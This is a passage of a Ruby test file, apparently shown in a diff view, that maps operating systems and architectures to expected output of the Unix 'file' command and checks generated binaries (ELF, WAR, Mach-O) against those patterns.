{ :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ },
|
||||
{ :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "x64", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "armle", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "mipsbe", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "mipsle", :file_fp => /Zip/ },
|
||||
],
|
||||
"bsd" => [
|
||||
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
|
||||
],
|
||||
"solaris" => [
|
||||
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
|
||||
],
|
||||
"osx" => [
|
||||
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
|
||||
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
|
||||
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*(acorn|arm)/ },
|
||||
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "x64", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "armle", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "ppc", :file_fp => /Zip/ },
|
||||
],
|
||||
}
|
||||
|
||||
def verify_bin_fingerprint(format_hash, bin)
|
||||
bin.should be_a(String)
|
||||
fp = IO.popen("file -","w+") do |io|
|
||||
io.write(bin)
|
||||
io.close_write
|
||||
io.read
|
||||
begin
|
||||
io.write(bin)
|
||||
rescue Errno::EPIPE
|
||||
end
|
||||
io.close_write
|
||||
io.read
|
||||
end
|
||||
if format_hash[:file_fp]
|
||||
fp.should =~ format_hash[:file_fp]
|
||||
|
|
Loading…
Reference in New Issue